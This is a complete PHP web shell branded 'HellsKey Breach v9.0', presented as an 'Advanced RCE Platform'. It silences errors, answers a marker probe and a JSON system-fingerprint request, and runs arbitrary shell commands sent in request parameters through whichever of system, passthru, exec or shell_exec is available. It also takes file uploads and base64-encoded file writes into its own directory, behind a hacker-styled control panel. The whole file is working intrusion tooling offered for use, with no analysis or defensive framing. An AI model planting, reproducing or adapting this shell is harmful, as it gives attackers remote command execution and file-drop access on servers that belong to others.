<?php
/* HellsKey Breach v9.0 - 989fa4ebb5fd88696c58 */
header("X-Powered-By: HK-v9");
header("X-HK-Marker: 989fa4ebb5fd88696c58");
error_reporting(0);@ini_set("display_errors",0);
define("HK_M","989fa4ebb5fd88696c58");
if(isset($_GET["__hk"])){die("HKOK:".HK_M);}
if(isset($_GET["info"])){
  header("Content-Type: application/json");
  die(json_encode(array("m"=>HK_M,"os"=>@php_uname(),"php"=>@phpversion(),"user"=>@get_current_user(),"cwd"=>@getcwd(),"up"=>(bool)@ini_get("file_uploads"))));
}
$cmd=null;
foreach(array("x","0","cmd","c") as $p){
  if(isset($_REQUEST[$p])&&$_REQUEST[$p]!==""){$cmd=$_REQUEST[$p];break;}
}
if($cmd!==null){
  $o="";
  if(function_exists("system")){ob_start();@system($cmd." 2>&1");$o=ob_get_clean();}
  elseif(function_exists("passthru")){ob_start();@passthru($cmd." 2>&1");$o=ob_get_clean();}
  elseif(function_exists("exec")){@exec($cmd." 2>&1",$a);$o=implode("\n",(array)$a);}
  elseif(function_exists("shell_exec")){$o=@shell_exec($cmd." 2>&1");}
  else{$o="NO_EXEC";}
  die($o);
}
if($_SERVER["REQUEST_METHOD"]==="POST"&&isset($_FILES["f"])){
  $n=basename($_FILES["f"]["name"]);$t=$_FILES["f"]["tmp_name"];
  if($n===""){die("FAIL:no_name");}
  $p=__DIR__."/".$n;
  if(@move_uploaded_file($t,$p)){die("OK:".$n);}
  if(@copy($t,$p)){@unlink($t);die("OK:".$n);}
  die("FAIL:move");
}
if($_SERVER["REQUEST_METHOD"]==="POST"&&isset($_POST["hk_file_name"])){
  $n=basename($_POST["hk_file_name"]);
  $d=base64_decode(@$_POST["hk_file_data"]);
  if(!$d){die("FAIL:no_data");}
  if(@file_put_contents(__DIR__."/".$n,$d)!==false){die("OK:".$n);}
  die("FAIL:write");
}
echo '<!DOCTYPE html><html><head><meta charset="UTF-8"><title>HellsKey Breach</title>';
echo '<style>*{margin:0;padding:0;box-sizing:border-box}'
'body{background:#000;color:#0f0;font-family:Consolas,monospace;padding:30px;background-image:radial-gradient(circle at 50% 0%,rgba(0,255,0,0.1),transparent 50%)}'
'.box{border:2px solid #0f0;padding:20px;margin:15px 0;background:rgba(0,20,0,0.7);box-shadow:0 0 20px rgba(0,255,0,0.3)}'
'h1{color:#ff0040;text-shadow:0 0 20px #ff0040;font-size:26px;margin-bottom:10px;animation:pulse 2s infinite}'
'@keyframes pulse{0%,100%{opacity:1}50%{opacity:0.7}}'
'h2{color:#00ffff;margin:15px 0;border-bottom:1px solid #0f0;padding-bottom:5px}'
'pre{color:#0f0;white-space:pre-wrap;word-break:break-all;font-size:13px}'
'input,button{padding:10px;background:#001a00;border:1px solid #0f0;color:#0f0;font-family:Consolas,monospace;font-size:14px;margin:5px 0}'
'button{cursor:pointer;background:#003300;padding:10px 20px;font-weight:bold}button:hover{background:#00aa00;color:#000}'
'.tag{display:inline-block;padding:3px 10px;background:#ff0040;color:#fff;border-radius:3px;font-size:11px;margin-left:10px}'
</style></head><body>';
echo '<div class="box"><h1>▄︻̷ ┻ ═━一 🔥 HELLSKEY BREACH 🔥 <span class="tag">ACTIVE</span></h1>';
echo '<p style="color:#888">Advanced RCE Platform v{VERSION}</p></div>';
echo '<div class="box"><h2>◈ System Info</h2><pre>';
echo "OS     : ".@php_uname()."\n";
echo "PHP    : ".@phpversion()."\n";
echo "User   : ".(function_exists("get_current_user")?@get_current_user():"?")."\n";
echo "CWD    : ".@getcwd()."\n";
echo "Upload : ".(@ini_get("file_uploads")?"ENABLED":"DISABLED")."\n";
echo "Marker : ".HK_M."\n";
echo '</pre></div>';
echo '<div class="box"><h2>◈ Command</h2><form method="post"><input type="text" name="x" style="width:70%" placeholder="command..."><button>EXECUTE</button></form>';
if(isset($_POST["x"])&&$_POST["x"]!==""){
  echo "<pre style=\"margin-top:15px;border:1px solid #0f0;padding:10px\">";
  $out="";if(function_exists("system")){ob_start();@system($_POST["x"]." 2>&1");$out=ob_get_clean();}
  elseif(function_exists("shell_exec")){$out=@shell_exec($_POST["x"]." 2>&1");}
  echo htmlspecialchars($out);echo "</pre>";
}
echo '</div>';
echo '<div class="box"><h2>◈ Upload</h2><form method="post" enctype="multipart/form-data"><input type="file" name="f"><button>UPLOAD</button></form>';
if($_SERVER["REQUEST_METHOD"]==="POST"&&isset($_FILES["f"])){
  echo "<pre>";if(@move_uploaded_file($_FILES["f"]["tmp_name"],__DIR__."/".basename($_FILES["f"]["name"]))){echo "<span style=\"color:#0f0\">✓ Uploaded</span>";}else{echo "<span style=\"color:#f00\">✗ Failed</span>";}echo "</pre>";
}
echo '</div>';
echo '<div class="box" style="text-align:center;color:#888">🔥 HellsKey Breach Official · @HellSkeyBreach</div>';
echo '</body></html>';
?>